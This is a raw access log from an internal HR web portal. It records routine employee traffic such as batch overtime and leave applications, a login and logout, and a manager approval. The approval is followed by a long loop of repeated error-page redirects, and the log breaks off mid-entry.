[01/Dec/2025:20:22:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04888404953710812 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:22:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04888404953710812 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04888404953710812" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:22:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04888404953710812 HTTP/1.1" 200 10639 192.168.11.76 - - [01/Dec/2025:20:22:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8112518003719154 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8112518003719154 HTTP/1.1" 200 8640 192.168.11.71 - - [01/Dec/2025:20:23:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:23:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 192.168.11.76 - - [01/Dec/2025:20:22:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8112518003719154 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8112518003719154" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8112518003719154 HTTP/1.1" 200 14074 192.168.11.76 - - [01/Dec/2025:20:23:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4517 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4517 192.168.11.76 - - [01/Dec/2025:20:23:18 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:18 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 192.168.11.71 - - [01/Dec/2025:20:23:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:23:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.76 - - [01/Dec/2025:20:23:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.71 - - [01/Dec/2025:20:23:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6942170648085373 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:23:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6942170648085373 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:23:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6942170648085373 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6942170648085373" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:23:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6942170648085373 HTTP/1.1" 200 10639 192.168.11.76 - - [01/Dec/2025:20:23:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:23:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.76 - - [01/Dec/2025:20:23:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.71 - - [01/Dec/2025:20:23:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:23:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 192.168.11.76 - - [01/Dec/2025:20:23:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11617 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:23:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11617 192.168.11.76 - - [01/Dec/2025:20:24:16 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:16 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132670%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132670&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132670%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132670&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET 